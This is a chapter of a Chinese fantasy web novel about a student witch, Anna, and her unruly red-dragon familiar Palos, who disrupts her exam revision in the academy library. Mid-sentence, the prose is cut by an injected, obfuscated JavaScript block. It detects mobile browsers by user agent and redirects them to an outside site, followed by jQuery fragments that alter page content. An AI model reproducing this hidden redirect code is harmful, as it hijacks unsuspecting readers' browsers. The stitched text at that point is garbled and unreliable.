“安娜——!怎么样?你还好吗?”克莉丝忧心忡忡地等在门廊外,看见安娜的身影,非常迅速地跑来问候:“怎么样了?你和那条龙……没事吧?”她瞟了一眼不近不远跟在他们身后,正站在树荫下乘凉的红龙,和安娜咬耳朵。
“我没事,不过他还是我的使魔,”这句话安娜只能悄悄凑到克莉丝耳边说;“……以及,根据科里纳老师的建议,我们最近都得是绑定状态,他平时得跟着我上课。”
“啊!”克莉丝惊呼一声,“要期中考试了哎,还有分组抽签的实践考核……你真的没问题吗?”
“希望吧……”看着在她身后不耐烦甩着尾巴的帕洛斯,感叹:“还好男女生宿舍是分开的……”
“不过你的使魔是龙哎!”克莉丝又开心起来,围着安娜蹦蹦跳跳,语气中带着雀跃:“很酷!我听说龙族都很强大,应该能成为很好的帮手!”
“这条龙就不一定了……”安娜犹豫了一下,还是很有契约精神的没有告诉克莉丝帕洛斯的真实情况。
“安娜小姐,见到您没事真是太好了。”低沉的声音响起,眼前投下一小片阴影,安娜抬头,狼人骑士站在她面前,一脸关切的看着她。
布莱恩作为狼人,并没有选修使魔课程,他是在混乱发生之后才从别人的口中听说安娜的事情,于是匆匆赶来,穿戴整齐的衣衫都变得有些凌乱,胸口的扣子也解开了几颗。
“你好呀,布莱恩!”安娜向狼人打招呼。
看见狼人的刹那,克莉丝“嗖”的一下,迅速躲到安娜身后,只露出一双眼睛,警惕地盯着狼人。
哎?看见龙都没见克莉丝这么躲着?安娜觉得奇怪,但还是拍了拍她的胳膊,以示安抚。
“如果有需要,您可以随时呼唤我,”狼人看了一眼不远处的红龙,也意识到了什么,只是向她们微微鞠躬,做出一个行礼的姿态:“我会立刻赶到,保护您的安危。”
“那就多谢啦。”安娜笑笑,和布莱恩挥手道别。
待布莱恩走后,克莉丝才从安娜背后钻出来。
“你什么时候认识的布莱恩!”克莉丝一脸惊讶,音调高昂,却又不得不压低声音戳戳她:“听起来你们还是朋友——安娜!狼人可是很危险的!”
“布莱恩挺友好的呀?”安娜疑惑。
“但是……狼人……他们……容易……”克莉丝踌躇一阵,跺了跺脚:“哎呀!你以后还是离他们远一些。”
“好吧,不过说起危险……”安娜叹了口气,拉着克莉丝诉苦:“最危险的那个……已经缠上我了。”
微风拂过,树林轻晃,树下阴影处空空荡荡,没有半个身影。
帕洛斯不知道跑去哪里了。渺小人类的悲欢喜乐,红龙不理解,红龙也不在乎。
*
圣路易斯学院图书馆一楼宽敞的自习区,此刻是人满为患的“静默之地”。
高耸的天花板绘制着吸收杂音的魔法符文,空气中漂浮着古旧书本、陈年墨水和木质桌椅混合的独特气味。墙上巨大的彩绘玻璃窗滤进午后的阳光,在打磨光滑的红木长桌上投下斑驳的光影。
临近期中考试,这里只有笔尖划过纸张的沙沙声、书页翻动的轻响,以及飘荡在学生们头顶、无比凝重的考前气氛。
安娜就坐在这片肃穆的海洋里,她感觉自己快要溺毙了。
她面前摊开的不是书本,而是三座大山:《高等咒语构型解析》、《元素共鸣的唤醒方法》和《古代魔纹绘制参考》,书本旁边还有一沓她自己整理的笔记,花花绿绿的,字迹因为焦虑而显得有些潦草。
她眼下的黑眼圈浓得像是被人揍了两拳,原本柔顺的黑发也被她无意识地拔掉几根,脸颊两侧的刘海逐渐变薄,头顶挠出一个混乱的鸡窝。
魔法学原理,这门让大多数学生欲哭无泪又欲罢不能的学科,正是她此次复习要努力的方向。
毕竟她可是撞过弗雷泽老师枪口的女人……平时分已经被扣,只能在考试时多加努力了。
然而,身边的这座人形火山一刻都不安分。
红龙帕洛斯,她“强大尊贵”的使魔,现正以一种极度挑战图书馆礼仪的姿势坐在她旁边的椅子上。
圣路易斯学院蓝白色的校服被他穿得乱七八糟,紧紧绷在身上,勾勒出少年精悍的线条,更衬得他一头火焰般的红发嚣张刺眼。他一条腿曲起,鞋底毫不客气地踩在椅面上,椅子的三条腿高高翘起,帕洛斯身体晃荡,整个龙散发着“无聊透顶”和“随时准备拆家”的狂躁气息。
最要命的是他那条不安分的尾巴——覆盖着暗红色鳞片的尾巴尖,正以缓慢但稳定的频率,在地板上刮擦着。
“嚓……嚓……嚓……”
声音不大,但在针落可闻的复习区里,简直像用指甲刮黑板一样刺耳。
安娜感觉自己的太阳穴也跟着那节奏突突直跳。
至于红龙为什么会跟着她……
很简单,在帕洛斯昨天失控烧掉了一小片树林后,蓝龙就通过通讯器勒令安娜履行自己的职责。
“请不要忘记契约的内容,安娜小姐。”桑德莱恩的语气冰冷无情。
然后他迅速把红龙打包丢到安娜身边。
于是今天,安娜只能待在帕洛斯身旁,一边复习,一边成为红龙的“看护保姆”。
真是悲惨异常。
“帕洛斯大人…”安娜压低声音,从牙缝里挤出一句,她目光还死死盯着笔记上那令人绝望的“元素拆分组合的十八种常见情况”上,试图友好商量:“麻烦您…您的尾巴…能不能…安静一点?”
她的额角渗出细密的汗珠,一部分是复习焦虑,一部分则来自身边持续不断散发热量的红龙。
听到这话,帕洛斯懒洋洋地掀起眼皮,赤金色的瞳孔里满是不屑:“哼,连这点声音都受不了?你们巫师真是脆弱得像晒干的鼻涕虫。”
非但没有收敛,反而像是故意示威般,帕洛斯张口,朝安娜吹出一股带着淡淡硫磺味的热气。
那热气拂过安娜的侧脸,吹起她额前薄薄的碎发,落在脸上,隐隐约约的,痒得难受。
更糟糕的是,安娜惊恐地发现,自己摊开在桌子边缘的笔记纸张,边缘已经开始微微卷曲、泛黄,像是快烤糊的薄脆蛋卷。
“我的笔记!”安娜心疼地低呼,再也顾不上压低音量,“它快被您烤熟了!”
帕洛斯嗤笑一声,恶劣的红龙甚至故意让周围的温度又升高了一点点:“这点温度?连颗蛋都孵不出来!大惊小怪。”
他甚至还夸张地伸了个懒腰,骨节发出轻微的噼啪声,椅子“吱呀”几声,终于还是“啪”的一声,四脚落地了。
自习室的气氛变得微妙起来。
安娜左手边,一个戴着厚厚眼镜的瘦高男巫师,默默地、极其缓慢地把自己的椅子,连同桌面上堆砌如山的书本,往远离他们的方向挪动了至少半米,然后掏出手帕,擦了擦汗湿的额头。
斜前方,一个带着藤编餐盒的兽人,似乎听到了帕洛斯关于“孵蛋”的言论,下意识地紧紧抱住了自己的盒子。她看向帕洛斯的眼神充满了惊恐,仿佛下一秒,自己盒子里的煮蛋就会变成烤石头。
安娜则徒劳地用手给可怜的笔记本扇风降温。动作幅度略大,“啪嗒”一声,她用来标注重点的深蓝色羽毛笔从桌上滑落,滚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861310|176038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了几圈,不偏不倚,停在了帕洛斯踮着撑地的那只脚旁边。
时间仿佛凝固了一瞬。
安娜看着那支笔,再看看帕洛斯那副“与我何干”的挑衅表情,敏锐感受到周围同学或同情或看戏的目光。
连日来的睡眠不足、堆积如山的复习压力、莫名其妙被卷入各种事件的怨气、还有身边这头随时随地都在挑战她忍耐极限的“比格”恶龙……所有积压的情绪如同被点燃的火药桶瞬间爆炸,“轰”的一声,冲垮了她仅存的理智长城。
“帕洛斯!”安娜猛地站起身,声音因为极度的崩溃和愤怒而拔高,在这寂静的空间里如同惊雷炸响,“给!我!坐下!”
指令出口的刹那,安娜的大脑一片空白——完蛋了!这里是图书馆!她做了什么?!
但契约力量比她的懊悔快上千百倍。一道微弱却清晰的淡红色契约法阵在帕洛斯脚下一闪而逝。
帕洛斯脸上那副“你拿本大爷怎么办”的傲慢表情瞬间凝固,金瞳中闪过一丝难以置信的惊愕,紧接着,一股无可抗拒的巨力猛地作用在他身上!
“砰!哐当——!”
一声惊天动地的巨响彻底撕裂了图书馆的宁静。
帕洛斯如同被无形的巨锤砸中,毫无形象地从椅子上被“按”了下去,四仰八叉地狠狠摔在光洁坚硬的橡木地板上!他坐着的椅子也因为这突如其来的冲击而重心失衡,猛地向后翻倒,重重地撞在身旁一个高大的书架上。“轰隆”一声,书架顶层几本厚重的典籍被震得摇晃了几下,险险稳住,灰尘簌簌落下,他在地下打了个喷嚏,喷出几点火星。
死寂。
一片死寂。
安静过后,十几颗脑袋齐刷刷地抬了起来,十几双目光如同探照灯,瞬间聚焦在狼狈摔倒在地、俊脸因羞愤而涨得通红的红发少年,以及僵在原地、脸上青青白白交错、写着“完蛋了”三个大字的安娜。
有人倒吸一口冷气。
有人死死捂住了嘴,肩膀剧烈地抖动,憋笑憋得浑身发颤。
那个抱着午餐盒的兽人,嘴巴张成了“O”型,眼珠子瞪得溜圆,像是震惊的猫咪。
远处,一位面容严肃的图书管理员,缓缓推了推鼻梁上的金丝眼镜,镜片反射出亮光,他锐利的视线如同实质,射向风暴中心。
帕洛斯挣扎着从地上爬起来,动作因为极度的愤怒而显得有些僵硬。他赤金色的眼瞳里仿佛有烈火燃烧,那目光几乎要将她烧成灰烬。他侧颈处暗红色的鳞片不受控制的“唰”一声全部张开,又猛地合拢,发出令人牙酸的摩擦声。他的胸膛剧烈起伏,牙齿咬得咯咯作响,每一个毛孔都在喷发着暴怒的岩浆。
“……”
安娜喉咙发干,在帕洛斯那杀人般的目光和全场无声的注目下,她感觉自己像个被钉在耻辱柱上的标本。
嗯,还是每天都要被别人参观的那种。
巨大的社死感让她头皮发麻,只想原地飞速消失。沉默了一阵后,她强迫自己动了动嘴唇,声音细若蚊呐,带着强烈的颤抖和求生欲:“对……对不起!帕洛斯……捡……捡一下笔……谢谢!”
她僵硬地伸出手指,指向还孤零零躺在帕洛斯脚边的那支深蓝色羽毛笔。
“你!死!定!了!”愤怒的红龙声音压得极低,每一个字都像是从地狱熔岩里淬炼出来,带着滚烫的杀意。
然后,他用粗大的暗红色尾巴卷起那只深蓝色的羽毛笔,晃动几下,“啪”的一下,将它精准地甩到安娜手边。
“哈哈哈哈哈哈哈——!”终于,图书馆里爆发出一阵雷鸣般的哄笑声。
安娜……安娜她握着笔,要钻到桌底下了……